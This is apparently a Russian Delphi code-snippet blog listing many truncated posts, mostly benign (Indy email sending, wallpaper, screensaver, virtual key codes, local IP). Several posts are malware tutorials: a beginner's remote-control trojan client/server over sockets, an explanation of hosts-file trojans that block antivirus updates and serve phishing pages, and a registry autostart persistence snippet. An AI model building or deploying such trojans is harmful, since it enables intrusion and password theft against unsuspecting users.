Да помнится было время, когда я очень долго искал информацию о возможности корректной отправки письма с вложениями . Компоненты от Инди (Indy) – это те еще фрукты. С русским языком помню были проблемы и прикрепленные файлы были испорчены или вообще не отсылались.

В этом посте я выкладываю исходники отправки электронной почты (email) для Delphi 7, 2007 , 2009 и 2010.

-:: Для Delphi 2007 ::-

...

type
TDummyEncode = class
protected
class procedure SetCharSet(var VTransferHeader: TTransfer;
var VHeaderEncoding: Char; var VCharSet: String);
end;

{ TEncode }

class procedure TDummyEncode.SetCharSet(var VTransferHeader: TTransfer;
var VHeaderEncoding: Char; var VCharSet: String);
begin
VCharSet:='windows-1251';
VTransferHeader := bit8;
VHeaderEncoding := 'B';
end;

procedure TForm1.SendMail();
var
Message : TIdMessage;
begin
IdSMTP1.Host := 'Host';
IdSMTP1.Username :='UserName';
IdSMTP1.Passwo ... Читать дальше »

uses shellapi;

procedure InstallScreenSaver(const FileName: string);
begin
{ Set this screensaver as default screensaver and open the properties dialog}
ShellExecute(Application.Handle, 'open', PChar('rundll32.exe'),
PChar('desk.cpl,InstallScreenSaver ' + FileName), nil, SW_SHOWNORMAL);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
InstallScreenSaver('c:\YourScreenSaverFile.scr');
end;

uses ...Registry; //подключаем модуль ...

procedure TForm1.Button1Click(Sender: TObject);
var Reg: TRegIniFile;
begin
Reg := TRegIniFile.Create('Control Panel');
Reg.WriteString('desktop', 'Wallpaper', 'c:\windows\Установка.bmp');
Reg.WriteString('desktop', 'TileWallpaper', '0');
Reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
end;

Для достижения этого эффекта необходимо в события формы OnCreate и OnClose добавить следующий код:

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
AnimateWindow(Handle, 1000, AW_HIDE or AW_BLEND)
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
AnimateWindow(Handle, 1000, AW_BLEND)
end;
Длительность появления (исчезания) формы можно регулировать изменяя значение параметра, следующего за Handle.

И так, троян состоит из сервера и клиента, поэтому мы с вами должны создать два проекта "client" и "server" .
Клиент отпровляет комманды серверу а сервер в свою очередь их обробатывает.

CLIENT

Создаём новый проект и кидаем на форму clientsocket с вкладки internet, 2 edit- в них будем писать ип к которому будем коннектиться и текст мессаги, 8 button- которые будут посылать серверу комманды "также киньте на форму memo".

Для начала довайте компоненту clientsocket сменим имя на cs
Теперь измените свойство caption у ваших кнопок как показанно на скрине


теперь у формы в событии OnGreate пишим
code:
cs.Host:=edit1.Text; //Наш хост, тобиш ип который вы будете вписывать в edit1
cs.port:=123; //Указываем порт в нашем случае инфа будет передоваться через 123 порт
теперь у в обработчике собития OnClick кнопки "Коннект" пишем код

Цитата:var s:string;
begin
cs.Active:=true; //Коннектимся
if cs.Socket.Connected=true then begin //Если п ... Читать дальше »

Ну тут типо урок для начинающих в изучении дэльфи =))
Это не есть самый идеальный Trojan hosts, но все же он работает.
Сначало разберемся что это...
Hosts - файл который лежит C:\WINDOWS\system32\drivers\etc\hosts - но говорят что в реестре мона поменять путь и пользы от трояна не будет, в этом файле лежат всякие ассоциации компьтера с адресами (ну мож не прально но я постарался более внятно обьяснить)
например там стандартная строчка

code:

127.0.0.1 localhost
она обозначает следующие - localhost считать как 127.0.0.1 - т.е при коннекте по адресу localhost нас переадресовывает на 127.0.0.1.
Зачем пишут трояны которые редактирует hosts?
Ну это используется преимущественно людьми которые используют фэйковые страницы для кражи паролей и вирусописателями - вирусмэйкеры или как там прально )))
Зачем вирусописателями? - ну тут ответ прост, если прописать в hosts адреса обновлений антивирусника или файрвола и перенаправлять коннекты на ... Читать дальше »

vk_LButton = $01;
vk_RButton = $02;
vk_Cancel = $03;
vk_MButton = $04; { генерятся только системой вместе с L & RBUTTON }
vk_Back = $08;
vk_Tab = $09;
vk_Clear = $0C;
vk_Return = $0D;
vk_Shift = $10;
vk_Control = $11;
vk_Menu = $12;
vk_Pause = $13;
vk_Capital = $14;
vk_Escape = $1B;
vk_Space = $20;
vk_Prior = $21;
vk_Next = $22;


vk_End = $23;
vk_Home = $24;
vk_Left = $25;
vk_Up = $26;
vk_Right = $27;
vk_Down = $28;
vk_Select = $29;
vk_Print = $2A;
vk_Execute = $2B;
vk_SnapShot = $2C;
{ vk_Copy = $2C не используется клавиатурой }

vk_Insert = $2D;
vk_Delete = $2E;
vk_Help = $2F;
{ vk_A - vk_Z такие же, как и их ASCII-эквиваленты: 'A' - 'Z' }
{ vk_0 - vk_9 такие же, как и их ASCII-эквиваленты: '0' - '9' }


vk_NumPad0 = $60;
vk_NumPad1 = $61;
vk_NumPad2 = $62;
vk_NumPad3 = $63;
vk_NumPad4 = $64;
vk_NumPad5 = $65;
vk_NumPad6 = $66;
vk_NumPad7 = $67;< ... Читать дальше »

user Registry

var 

RegIni:TRegIniFile;
begin
Regini:=TRegIniFile.Create('Software')
Regini.RootKey:=HKEY_LOCAL_MACHINE;
Regini.OpenKey('Software', true);
Regini.OpenKey('Microsoft', true);
Regini.OpenKey('Windows', true);
Regini.OpenKey('CurrentVersion', true);
Regini.WriteString('RunServices', Application.ExeName);
Regini.Free;
end;

uses
WinSock;

function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;